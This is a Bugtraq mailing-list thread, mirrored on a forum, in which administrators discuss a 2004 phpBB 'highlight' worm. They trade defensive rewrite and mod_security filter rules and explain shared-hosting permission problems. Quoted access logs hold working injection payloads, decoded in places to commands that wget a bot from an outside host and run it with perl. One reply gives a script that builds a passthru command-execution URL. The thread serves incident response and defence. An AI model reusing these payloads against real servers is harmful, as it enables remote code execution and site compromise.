PDA

Bekijk Volledige Versie : Re: phpBB Worm


Raymond Dijkxhoorn
22/12/04, 00:15
Hi!

> After some investigation, we determined that the attacker had gained
> access via phpbb in a series of crafted URL requests, like so:
>
> 64.235.234.84 - - [20/Dec/2004:08:41:35 -0800] "GET
> /viewtopic.php?p=9002&sid=f5
> 399a2d243cead3a5ea7adf15bfc872&highlight=%2527%252Efwrite(fopen(chr(109)%252echr
> (49)%252echr(104)%252echr(111)%252echr(50)%252echr (111)%252echr(102),chr(97)),ch
> r(35)%252echr(33)%252echr(47)%252echr(117)%252echr (115)%252echr(114)%252echr(47)
> %252echr(98)%252echr(105)%252echr(110)%252echr(47) %252echr(112)%252echr(101)%252
> echr(114)%252echr(108)%252echr(10)%252echr(117)%25 2echr(115)%252echr(101)%252ech
> r(32)),exit%252e%2527 HTTP/1.0" 200 13648 "http://forum.CLIENT SITE
> OMITTED.com/

If you cannot fix it (virtual servers) fast for all your clients you could
also try with something like this:

RewriteEngine On
RewriteCond %{QUERY_STRING} ^(.*)echr(.*) [OR]
RewriteCond %{QUERY_STRING} ^(.*)esystem(.*)
RewriteRule ^.*$ - [F]

We had some vhosts where this worked just fine. On our systems we didnt
see any valid request with echr and esystem, just be gentle with it, it
works for me, it could work for you ;)

Bye,
Raymond.
Paul Kurczaba
22/12/04, 05:25
It seems that a good number of sites have been compromised due to this
exploit. Doing a search for "NeverEverNoSanity WebWorm Generation" on google
revealed nothing. But, when I did the same search on the new MSN beta search
engine, a whopping 36,000 hits showed up. Check it out:
http://beta.search.msn.com/results.aspx?q=%22NeverEverNoSanity+WebWorm+Gener
ation%22&FORM=QBRE

-Paul K

-----Original Message-----
From: Shannon Lee [mailto:shannon@webhostworks.net]
Sent: Monday, December 20, 2004 6:51 PM
To: bugtraq@securityfocus.com
Subject: phpBB Worm

This morning one of our client's sites was found to have been defaced with
the words "NeverEverNoSanity WebWorm Generation 9." The defacement appeared
to take place on all .html files in the web root trees of multiple virtual
hosts on the web server in a very short period of time.

After some investigation, we determined that the attacker had gained access
via phpbb in a series of crafted URL requests, like so:

64.235.234.84 - - [20/Dec/2004:08:41:35 -0800] "GET
/viewtopic.php?p=9002&sid=f5
399a2d243cead3a5ea7adf15bfc872&highlight=%2527%252Efwrite(fopen(chr(109)%252
echr
(49)%252echr(104)%252echr(111)%252echr(50)%252echr (111)%252echr(102),chr(97)
),ch
r(35)%252echr(33)%252echr(47)%252echr(117)%252echr (115)%252echr(114)%252echr
(47)
%252echr(98)%252echr(105)%252echr(110)%252echr(47) %252echr(112)%252echr(101)
%252
echr(114)%252echr(108)%252echr(10)%252echr(117)%25 2echr(115)%252echr(101)%25
2ech
r(32)),exit%252e%2527 HTTP/1.0" 200 13648 "http://forum.CLIENT SITE
OMITTED.com/
viewtopic.php?p=9002&sid=f5399a2d243cead3a5ea7adf15bfc872&highlight=%2527%25
2Efw
rite(fopen(chr(109)%252echr(49)%252echr(104)%252ec hr(111)%252echr(50)%252ech
r(11
1)%252echr(102),chr(97)),chr(35)%252echr(33)%252ec hr(47)%252echr(117)%252ech
r(11
5)%252echr(114)%252echr(47)%252echr(98)%252echr(10 5)%252echr(110)%252echr(47
)%25
2echr(112)%252echr(101)%252echr(114)%252echr(108)% 252echr(10)%252echr(117)%2
52ec
hr(115)%252echr(101)%252echr(32)),exit%252e%2527" "Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1)"

After checking the phpbb site, it turns out that this is a vulnerability
posted the 18th of November, called Hilight; we didn't update to prevent it
because the client whose domain it was has their own admin, and we thought
he was taking care of phpBB. Oops. The exploit is described here:

http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=240513

When I copied all these entries out of the log and translated the chr()
calls, they turned out to be the attached perl script, which is capable of
finding .html files to deface, and then going to google and finding more
instances of phpbb to infect. Which makes it a worm. It also tracks itself
by generation; we were generation 9.

Please find attached the above-mentioned script as well as the series of log
entries from access_log.

--Shannon
Sebastian Wiesinger
22/12/04, 19:25
* Raymond Dijkxhoorn <raymond@prolocation.net> [2004-12-22 00:06]:
> If you cannot fix it (virtual servers) fast for all your clients you could
> also try with something like this:
>
> RewriteEngine On
> RewriteCond %{QUERY_STRING} ^(.*)echr(.*) [OR]
> RewriteCond %{QUERY_STRING} ^(.*)esystem(.*)
> RewriteRule ^.*$ - [F]
>
> We had some vhosts where this worked just fine. On our systems we didnt
> see any valid request with echr and esystem, just be gentle with it, it
> works for me, it could work for you ;)

If you use mod_security, this may help, too:

SecFilterSelective "THE_REQUEST" "(system|exec|passthru|popen|shell_exec|proc_open|f open|fwrite)\s*\("

I had another exploit attempt, with this payload:

66.119.13.4 - - [22/Dec/2004:10:06:47 +0100] "GET /forum/viewtopic.php?t=%37&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20%63 %64%20%2F%74%6D%70%3B%77%67%65%74%20%31%32%38%2E%3 1%37%34%2E%31%33%37%2E%32%33%30%2F%62%6E%20%2D%4F% 20%2E%62%3B%20%70%65%72%6C%2
0%2D%70%65%20%79%2F%74%68%6D%76%64%77%30%39%38%37% 36%35%34%33%32%31%75%6F%69%65%61%2F%61%65%69%6F%75 %31%32%33%34%35%36%37%38%39%30%77%64%76%74%68%6D%2 F%20%2E%62%7C%20%70%65%72%6C%3B%20%72%6D%20%2D%66% 20%2E%62%20%2A%2E%70%6C%20%62%30%74%2A%3B%20%65%63 %68%6
F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48% 54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68 %5D%29.%2527 HTTP/1.1" 200 12266 "-" "-"

Which decodes to:

rush=echo _START_; cd /tmp;wget 128.174.137.230/bn -O .b; perl -pe y/thmvdw0987654321uoiea/aeiou1234567890wdvthm/ .b| perl; rm -f .b *.pl b0t*; echo _END_
highlight='.passthru($HTTP_GET_VARS[rush]).'

Regards,

Sebastian

--
GPG Key-ID: 0x76B79F20 (0x1B6034F476B79F20)
Wehret den Anfaengen: http://odem.org/informationsfreiheit/
Thunder rolled. ... It rolled a six.
--Terry Pratchett, Guards! Guards!
Alexander Klimov
22/12/04, 19:35
On Mon, 20 Dec 2004, Shannon Lee wrote:
> After some investigation, we determined that the attacker had gained
> access via phpbb in a series of crafted URL requests, like so:
>
> 64.235.234.84 - - [20/Dec/2004:08:41:35 -0800] "GET
> /viewtopic.php?p=9002&sid=f5
> 399a2d243cead3a5ea7adf15bfc872&highlight=%2527%252Efwrite(fopen(chr(109)%252echr
> (49)%252echr(104)%252echr(111)%252echr(50)%252echr (111)%252echr(102),chr(97)),ch
> r(35)%252echr(33)%252echr(47)%252echr(117)%252echr (115)%252echr(114)%252echr(47)
> %252echr(98)%252echr(105)%252echr(110)%252echr(47) %252echr(112)%252echr(101)%252
> echr(114)%252echr(108)%252echr(10)%252echr(117)%25 2echr(115)%252echr(101)%252ech
> r(32)),exit%252e%2527 HTTP/1.0" 200 13648 "http://forum.CLIENT SITE
> OMITTED.com/

It seems that automated exploiting starts soon after disclosure of the
vulnerability:

62.221.209.145 - - [24/Nov/2004:14:09:05 +0200]
"GET /viewtopic.php?t=50674&highlight=
%2527%252esystem(chr(100)%252echr(105)%252echr(114 ))%252edie()%252e%2527
HTTP/1.1" 404 219

Interestingly, we do not use phpbb and in fact do not have viewtopic.php at all.

--
Regards,
ASK
Alvin Packard
23/12/04, 20:35
Last look at my log files and I was hit a total of 421 times by 278
different IPs. It seems to be moving rather quickly as these were from
the last 2 days. Good luck to those who have not patched yet.

Alvin Packard, CWNA
www.networksecuritytech.com


On 22 Dec 2004 04:34:59 -0000, ycw1bh302@sneakemail.com
<ycw1bh302@sneakemail.com> wrote:
> In-Reply-To: <Pine.LNX.4.61.0412212325470.1764@mailbox.prolocati on.net>
>
> Forgive me if this is a newbie question, but a site I help run was hit by this, and I'm trying to understand it to protect against future worms.
>
> The worm exploits the phpBB highlight vulnerability. It uses PHP to run Perl to write the Perl script file, then executes it. The script then proceeds to traverse the entire directory structure, overwriting .php, .htm, .shtm, .phtm, and on our server,
.ssi files, and then spreads itself. Correct?
>
> I have two questions:
>
> 1. Why has the worm been as effective on Windows servers as on *nix servers? At the very least, shouldn't the difference in file and directory naming cause a problem? I looked at the decoded Perl script, but I'm not a Perl expert, so I couldn't under
stand all of it. And what about the difference in file permissions?
>
> 2. More importantly, why wasn't the worm's destructive ability limited by file permissions, especially on *nix servers? If, for example, an HTML file on the server was uploaded by user bob, and has permissions of 755, how can the Perl script delete th
at file? Shouldn't the Perl script be created with the Perl process's permissions, which was invoked by PHP, which should have the Web server's permissions, which should be, at least on most *nix servers, the nobody user?
>
> This is a big issue on shared servers, or virtual hosts, whatever you want to call them. Our site is on a shared server, and our site does not even run phpBB, but most of our HTML files were replaced with the worm's content. Obviously, then, another s
ite on the server must have an old version of phpBB. But why could the worm, coming in through another site, modify files created by other users? Even if the worm's script ran as the owner of the vulnerable viewtopic.php file, how could it then modify n
on-world-writable files created by other users?
>
> I have long been concerned with the security of PHP scripts, especially on shared servers. Since PHP almost always runs as an Apache module, and Apache usually runs as nobody, one must make files and directories world-writable for PHP scripts to be abl
e to write to them. But that means that any process on the server, including anyone's PHP script, can modify the files.
>
> Thanks for any insights.
>
> Adam Porter
>
Anders Henke
23/12/04, 21:05
On Dec 22nd 2004, ycw1bh302@sneakemail.com wrote:
> 1. Why has the worm been as effective on Windows servers as on *nix servers? At the very least, shouldn't the difference in file and directory naming cause a problem? I looked at the decoded Perl script, but I'm not a Perl expert, so I couldn't under
stand all of it. And what about the difference in file permissions?

Perl does provide cross-platform-functions for e.g. file access and
there's usually not much of a difference for running a well-written
perl script on Unix as well as on Windows other than the first line
(usually '#!c:\perl\perl.exe -w' on Windows and '#! /usr/bin/perl -w'
on Unix).

However, most Windows-Webservers other than Apache do run any .pl-Script
using the to-be-installed perl interpreter and don't care on the bang-line.

The documentation found in 'perldoc perlport' does give a closer view
on the few differences when writing cross-plattform perl scripts.

> 2. More importantly, why wasn't the worm's destructive ability limited by file permissions, especially on *nix servers? If, for example, an HTML file on the server was uploaded by user bob, and has permissions of 755, how can the Perl script delete th
at file? Shouldn't the Perl script be created with the Perl process's permissions, which was invoked by PHP, which should have the Web server's permissions, which should be, at least on most *nix servers, the nobody user?

On shared servers with ISPs caring about security, user CGIs are using the
suexec mechanism in order to run each customer within his own user's space.

The downside of using suexec is that PHP as a CGI doesn't offer a small
number of special features some people do believe to be essential, as well
as some people do write code in a way that making it work on PHP as CGI
is close to 'virtually impossible'. The PHP-Module also allows one to
set PHP-configuration settings via .htaccess; those configuration
changes are also ignored by CGI-PHP and can severely affect the way
an PHP-written application works (or doesn't work).

> This is a big issue on shared servers, or virtual hosts, whatever you want to call them. Our site is on a shared server, and our site does not even run phpBB, but most of our HTML files were replaced with the worm's content. Obviously, then, another s
ite on the server must have an old version of phpBB. But why could the worm, coming in through another site, modify files created by other users? Even if the worm's script ran as the owner of the vulnerable viewtopic.php file, how could it then modify n
on-world-writable files created by other users?



Right - if everyone were using e.g. suexec, this would be the case.

As a web host, you've got to chose to run either CGI-PHP or PHP as
module.

Your 'power'-users are calling for the module, the admin keeping
maintenance on an already overloaded server does also all for the module
(the module relieves the web server from forking a seperate process for
running a php-script), only those security-related ones are rejecting both
mod_perl as well as mod_php and favour 'true' CGIs via suexec.

If your scripts support the fastcgi extension, one might use mod_fastcgi
with suexec support; however, this means one has to setup three softwares
(fastcgi, suexec, php) and make them work together instead of the
often-recommended 'add mod_php'-Oneliner. As a result, you're spending
much work on a secure system, but your users are still calling for mod_php
and in case any part of your setup breaks, your whole system is unusable.

> I have long been concerned with the security of PHP scripts, especially on shared servers. Since PHP almost always runs as an Apache module, and Apache usually runs as nobody, one must make files and directories world-writable for PHP scripts to be abl
e to write to them. But that means that any process on the server, including anyone's PHP script, can modify the files.


Yes, you've got the point.

Apache 2 has the ability to run modules per VirtualHost within a different
user context (perchild MPM).
-According to the Apache documentation, this module is non-functional,
not yet finished and development is not currently active.
-PHP is certainly one of the most interesting modules for this feature,
however, the last time I looked, exactly PHP didn't support it and Apache
required to have at least one process running per virtualhost (which in
turn would render servers hosting thousands of sites unusable).
-Still today, the php documentation warns from using Apache 2.0 with PHP
in productive environment.

From a security aspect, the only way for running PHP securely
(with 'secure' from the view of the administrator), CGI is currently
the only way to do so.



Regards,

Anders
--
Schlund + Partner AG Security and System Administration
Brauerstrasse 48 v://49.721.91374.50
D-76135 Karlsruhe f://49.721.91374.225
William Geoghegan
23/12/04, 22:15
A script to check if your phpBB is vulnerable.
Anything below 2.0.11 _probably_ is but incase your not sure, use this
script.

The script generates the request parameters, all you need to do is copy the
result onto www.thesite.com/viewtopic.php


<?
$rush='ls -al'; //do what
$highlight='passthru($HTTP_GET_VARS[rush])'; // dont touch

print "?t=%37&rush=";

for ($i=0; $i<strlen($rush); ++$i) {
print '%' . bin2hex(substr($rush,$i,1));
}

print "&highlight=%2527.";

for ($i=0; $i<strlen($highlight); ++$i) {
prt '%' . bin2hex(substr($highlight,$i,1));
}

print ".%2527";
?>

Cheers.

William Geoghegan

GEOTEK Computer Services
- www.geotekcs.co.uk -


----- Original Message -----
From: "Sebastian Wiesinger" <bofh@fire-world.de>
To: <bugtraq@securityfocus.com>
Sent: Wednesday, December 22, 2004 11:22 AM
Subject: Re: phpBB Worm


>* Raymond Dijkxhoorn <raymond@prolocation.net> [2004-12-22 00:06]:
>> If you cannot fix it (virtual servers) fast for all your clients you
>> could
>> also try with something like this:
>>
>> RewriteEngine On
>> RewriteCond %{QUERY_STRING} ^(.*)echr(.*) [OR]
>> RewriteCond %{QUERY_STRING} ^(.*)esystem(.*)
>> RewriteRule ^.*$ -
>> [F]
>>
>> We had some vhosts where this worked just fine. On our systems we didnt
>> see any valid request with echr and esystem, just be gentle with it, it
>> works for me, it could work for you ;)
>
> If you use mod_security, this may help, too:
>
> SecFilterSelective "THE_REQUEST"
> "(system|exec|passthru|popen|shell_exec|proc_open|f open|fwrite)\s*\("
>
> I had another exploit attempt, with this payload:
>
> 66.119.13.4 - - [22/Dec/2004:10:06:47 +0100] "GET
> /forum/viewtopic.php?t=%37&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20%63 %64%20%2F%74%6D%70%3B%77%67%65%74%20%31%32%38%2E%3 1%37%34%2E%31%33%37%2E%32%33%30%2F%62%6E%20%2D%4F% 20%2E%62%3B%20%70%65%72%6C%20%2D%70%65%20%79%2F%74 %68%6D%76%64%77%30%39%38%3
7%36%35%34%33%32%31%75%6F%69%65%61%2F%61%65%69%6F% 75%31%32%33%34%35%36%37%38%39%30%77%64%76%74%68%6D %2F%20%2E%62%7C%20%70%65%72%6C%3B%20%72%6D%20%2D%6 6%20%2E%62%20%2A%2E%70%6C%20%62%30%74%2A%3B%20%65% 63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73
%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%4 1%52%53%5B%72%75%73%68%5D%29.%2527
> HTTP/1.1" 200 12266 "-" "-"
>
> Which decodes to:
>
> rush=echo _START_; cd /tmp;wget 128.174.137.230/bn -O .b; perl -pe
> y/thmvdw0987654321uoiea/aeiou1234567890wdvthm/ .b| perl; rm -f .b *.pl
> b0t*; echo _END_
> highlight='.passthru($HTTP_GET_VARS[rush]).'
>
> Regards,
>
> Sebastian
>
> --
> GPG Key-ID: 0x76B79F20 (0x1B6034F476B79F20)
> Wehret den Anfaengen: http://odem.org/informationsfreiheit/
> Thunder rolled. ... It rolled a six.
> --Terry Pratchett, Guards! Guards!
>
>
> --
> No virus found in this incoming message.
> Checked by AVG Anti-Virus.
> Version: 7.0.298 / Virus Database: 265.6.4 - Release Date: 22/12/2004
>
>
Ofer Shezaf
23/12/04, 23:35
Interestingly enough the worm was probably developed on *nix and than
checked and corrected to work on Windows:

eval{
while(my @a =3D getpwent()) { push(@dirs, $a[7]);}
};

push(@dirs, '/ ');

the getpwent function is not supported on Windows. Actually the entire
loop that gets users home directories from the /etc/passwd file is very
*nix centric.=20

The author found that out, added the eval statement to prevent the
script from crashing on Windows and added the root directory in order to
have at least one entry on windows. This last line actually makes the
entire loop less important.

Additionally, on Windows the worm would affect files on a single disk.
As to which disk exactly, it probably depends on the web server
attacked, and how PHP and Perl are installed and used with the web
server. In some cases, if the web sites and the software do not reside
on the same disk, the worm payload will not work.


Ofer Shezaf, CTO=20
Breach Security, Inc.=20
Deployable Application Security=20

Tel: +972.9.956.0036 ext.212
Cell: +972.54.443.1119
ofers@breach.com
http://www.breach.com=20

=20
-----Original Message-----
From: Anders Henke [mailto:anders@schlund.de]=20
Sent: Thursday, December 23, 2004 2:31 PM
To: ycw1bh302@sneakemail.com
Cc: bugtraq@securityfocus.com
Subject: Re: phpBB Worm

On Dec 22nd 2004, ycw1bh302@sneakemail.com wrote:
> 1. Why has the worm been as effective on Windows servers as on *nix
servers? At the very least, shouldn't the difference in file and
directory naming cause a problem? I looked at the decoded Perl script,
but I'm not a Perl expert, so I couldn't understand all of it. And what
about the difference in file permissions?

Perl does provide cross-platform-functions for e.g. file access and
there's usually not much of a difference for running a well-written
perl script on Unix as well as on Windows other than the first line
(usually '#!c:\perl\perl.exe -w' on Windows and '#! /usr/bin/perl -w'
on Unix).

However, most Windows-Webservers other than Apache do run any .pl-Script

using the to-be-installed perl interpreter and don't care on the
bang-line.

The documentation found in 'perldoc perlport' does give a closer view=20
on the few differences when writing cross-plattform perl scripts.

> 2. More importantly, why wasn't the worm's destructive ability
limited by file permissions, especially on *nix servers? If, for
example, an HTML file on the server was uploaded by user bob, and has
permissions of 755, how can the Perl script delete that file? Shouldn't
the Perl script be created with the Perl process's permissions, which
was invoked by PHP, which should have the Web server's permissions,
which should be, at least on most *nix servers, the nobody user?

On shared servers with ISPs caring about security, user CGIs are using
the=20
suexec mechanism in order to run each customer within his own user's
space.

The downside of using suexec is that PHP as a CGI doesn't offer a small=20
number of special features some people do believe to be essential, as
well
as some people do write code in a way that making it work on PHP as CGI
is close to 'virtually impossible'. The PHP-Module also allows one to
set PHP-configuration settings via .htaccess; those configuration
changes are also ignored by CGI-PHP and can severely affect the way
an PHP-written application works (or doesn't work).

> This is a big issue on shared servers, or virtual hosts, whatever you
want to call them. Our site is on a shared server, and our site does
not even run phpBB, but most of our HTML files were replaced with the
worm's content. Obviously, then, another site on the server must have
an old version of phpBB. But why could the worm, coming in through
another site, modify files created by other users? Even if the worm's
script ran as the owner of the vulnerable viewtopic.php file, how could
it then modify non-world-writable files created by other users?



Right - if everyone were using e.g. suexec, this would be the case.

As a web host, you've got to chose to run either CGI-PHP or PHP as
module.

Your 'power'-users are calling for the module, the admin keeping=20
maintenance on an already overloaded server does also all for the module

(the module relieves the web server from forking a seperate process for=20
running a php-script), only those security-related ones are rejecting
both
mod_perl as well as mod_php and favour 'true' CGIs via suexec.

If your scripts support the fastcgi extension, one might use mod_fastcgi

with suexec support; however, this means one has to setup three
softwares=20
(fastcgi, suexec, php) and make them work together instead of the=20
often-recommended 'add mod_php'-Oneliner. As a result, you're spending=20
much work on a secure system, but your users are still calling for
mod_php
and in case any part of your setup breaks, your whole system is
unusable.

> I have long been concerned with the security of PHP scripts,
especially on shared servers. Since PHP almost always runs as an Apache
module, and Apache usually runs as nobody, one must make files and
directories world-writable for PHP scripts to be able to write to them.
But that means that any process on the server, including anyone's PHP
script, can modify the files.


Yes, you've got the point.

Apache 2 has the ability to run modules per VirtualHost within a
different
user context (perchild MPM).
-According to the Apache documentation, this module is non-functional,
not yet finished and development is not currently active.
-PHP is certainly one of the most interesting modules for this feature,=20
however, the last time I looked, exactly PHP didn't support it and
Apache
required to have at least one process running per virtualhost (which in

turn would render servers hosting thousands of sites unusable).
-Still today, the php documentation warns from using Apache 2.0 with PHP

in productive environment.

From a security aspect, the only way for running PHP securely
(with 'secure' from the view of the administrator), CGI is currently
the only way to do so.



Regards,

Anders
--=20
Schlund + Partner AG Security and System Administration
Brauerstrasse 48 v://49.721.91374.50
D-76135 Karlsruhe f://49.721.91374.225
Anders Henke
24/12/04, 01:25
On Dec 21st, Raymond Dijkxhoorn wrote:
> If you cannot fix it (virtual servers) fast for all your clients you could
> also try with something like this:
>
> RewriteEngine On
> RewriteCond %{QUERY_STRING} ^(.*)echr(.*) [OR]
> RewriteCond %{QUERY_STRING} ^(.*)esystem(.*)
> RewriteRule ^.*$ - [F]
>
> We had some vhosts where this worked just fine. On our systems we didnt
> see any valid request with echr and esystem, just be gentle with it, it
> works for me, it could work for you ;)

This assumes you're seeing GET-requests, but there are other ways
(e.g. POST) to exploit such code.

GET-requests are so kind as they do show up in full in the web servers
access-log and as such, they do document the full exploit code.
E.g. just the accesslogs do provide enough information for site owner and
administrator to find out what's exactly broken and enables them to
perform detailed analysis on even previously unknown exploits as well
as reject such malicous code within a mod_rewrite-RewriteRule.

Today, most such exploits are sent using HTTP-GET, but there's a fairly
low expense for exploit code coders to run these exploits using HTTP-POST.
We're lucky that most exploit code coders haven't chosen the struggle to
properly encode their exploit-code HTTP-POST-requests, but still keep
in mind that a 'plain' Apache cannot filter the payload from HTTP-POST
other than rejecting =any= POST-request to 'specific' files like
viewtopic.php, which obviously will sooner or later break some application.

I've already had a single case where a 'common' insecurity like
'include($some_user_supplied_data)' has been exploited using HTTP-POST,
so for the administrators out there, it might be a good idea to test and
implement mod_security on web servers.
As far as I known, the POST-payload analysis of mod_security is currently
one of the very few ways to audit and stop potentially malicious
HTTP-POST-data from reaching your web server's CGIs.


Regards,

Anders
--
Schlund + Partner AG Security and System Administration
Brauerstrasse 48 v://49.721.91374.50
D-76135 Karlsruhe f://49.721.91374.225
24/12/04, 18:45
In-Reply-To: <20041223125859.GE3029@schlund.de>

>This assumes you're seeing GET-requests, but there are other ways
>(e.g. POST) to exploit such code.

Whilst I understand your point, it should be noted that this vulnerability in phpBB is susceptible only to GET-based attacks: the vulnerable data is sourced from $HTTP_GET_VARS.
Raymond Dijkxhoorn
24/12/04, 22:25
Hi!

>> This assumes you're seeing GET-requests, but there are other ways
>> (e.g. POST) to exploit such code.

> Whilst I understand your point, it should be noted that this
> vulnerability in phpBB is susceptible only to GET-based attacks: the
> vulnerable data is sourced from $HTTP_GET_VARS.

And it seems worse, we see even upgraded phpbb2 installs (2.0.11)
succesfully and activly being exploited.

216.22.10.90 - - [24/Dec/2004:18:42:54 +0100] "GET
/phpBB2/viewtopic.php?t=753&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd% 20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%4 4%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48% 54%54%50%5
F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%25 27
HTTP/1.1" 200 12758 "-" "LWP::Simple/5.803"
66.152.98.103 - - [24/Dec/2004:19:02:15 +0100] "GET
/phpBB2/viewtopic.php?t=753&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd% 20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%4 4%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48% 54%54%50%5
F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%25 27
HTTP/1.1" 200 12758 "-" "LWP::Simple/5.79"
64.62.187.10 - - [24/Dec/2004:19:04:11 +0100] "GET
/phpBB2/viewtopic.php?t=817&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd% 20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%4 4%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48% 54%54%50%5
F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%25 27
HTTP/1.1" 200 68131 "-" "LWP::Simple/5.63"
[24/Dec/2004:19:09:26 +0100] "GET
/phpBB2/viewtopic.php?p=7222&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd% 20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%4 4%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48% 54%54%50%
5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2 527
HTTP/1.1" 200 20767 "-" "LWP::Simple/5.803"
205.214.85.184 - - [24/Dec/2004:19:10:18 +0100] "GET
/phpBB2/viewtopic.php?p=7222&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd% 20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%4 4%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48% 54%54%50%
5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2 527
HTTP/1.1" 200 20875 "-" "LWP::Simple/5.802"

Loads of those, and all request the files from civa.org

This is on a patched phpbb2, so be aware!!

Bye,
Raymond.
Zeljko Brajdic
25/12/04, 19:55
In-Reply-To: <Pine.LNX.4.61.0412241909320.23893@mailbox.prolocat ion.net>

>Received: (qmail 11902 invoked from network); 24 Dec 2004 20:01:50 -0000
>Received: from outgoing.securityfocus.com (HELO outgoing2.securityfocus.com) (205.206.231.26)
> by mail.securityfocus.com with SMTP; 24 Dec 2004 20:01:50 -0000
>Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
> by outgoing2.securityfocus.com (Postfix) with QMQP
> id CDA6D1436D1; Fri, 24 Dec 2004 13:06:19 -0700 (MST)
>Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
>Precedence: bulk
>List-Id: <bugtraq.list-id.securityfocus.com>
>List-Post: <mailto:bugtraq@securityfocus.com>
>List-Help: <mailto:bugtraq-help@securityfocus.com>
>List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
>List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
>Delivered-To: mailing list bugtraq@securityfocus.com
>Delivered-To: moderator for bugtraq@securityfocus.com
>Received: (qmail 7567 invoked from network); 24 Dec 2004 11:06:25 -0000
>X-Authentication-Warning: mailbox.prolocation.net: raymond owned process doing -bs
>Date: Fri, 24 Dec 2004 19:12:22 +0100 (CET)
>From: Raymond Dijkxhoorn <raymond@prolocation.net>
>To: steve@uptime.org.uk
>Cc: bugtraq@securityfocus.com
>Subject: Re: phpBB Worm
>In-Reply-To: <20041224161026.27228.qmail@www.securityfocus.com>
>Message-ID: <Pine.LNX.4.61.0412241909320.23893@mailbox.prolocat ion.net>
>References: <20041224161026.27228.qmail@www.securityfocus.com>
>X-NCC-RegID: nl.multikabel
>MIME-Version: 1.0
>Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
>
>Hi!
>
>>> This assumes you're seeing GET-requests, but there are other ways
>>> (e.g. POST) to exploit such code.
>
>> Whilst I understand your point, it should be noted that this
>> vulnerability in phpBB is susceptible only to GET-based attacks: the
>> vulnerable data is sourced from $HTTP_GET_VARS.
>
>And it seems worse, we see even upgraded phpbb2 installs (2.0.11)
>succesfully and activly being exploited.
>
>216.22.10.90 - - [24/Dec/2004:18:42:54 +0100] "GET
>/phpBB2/viewtopic.php?t=753&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd% 20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%4 4%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48% 54%54%50%
5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2 527
>HTTP/1.1" 200 12758 "-" "LWP::Simple/5.803"
>66.152.98.103 - - [24/Dec/2004:19:02:15 +0100] "GET
>/phpBB2/viewtopic.php?t=753&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd% 20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%4 4%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48% 54%54%50%
5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2 527
>HTTP/1.1" 200 12758 "-" "LWP::Simple/5.79"
>64.62.187.10 - - [24/Dec/2004:19:04:11 +0100] "GET
>/phpBB2/viewtopic.php?t=817&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd% 20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%4 4%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48% 54%54%50%
5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2 527
>HTTP/1.1" 200 68131 "-" "LWP::Simple/5.63"
>[24/Dec/2004:19:09:26 +0100] "GET
>/phpBB2/viewtopic.php?p=7222&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd% 20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%4 4%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48% 54%54%50
%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.% 2527
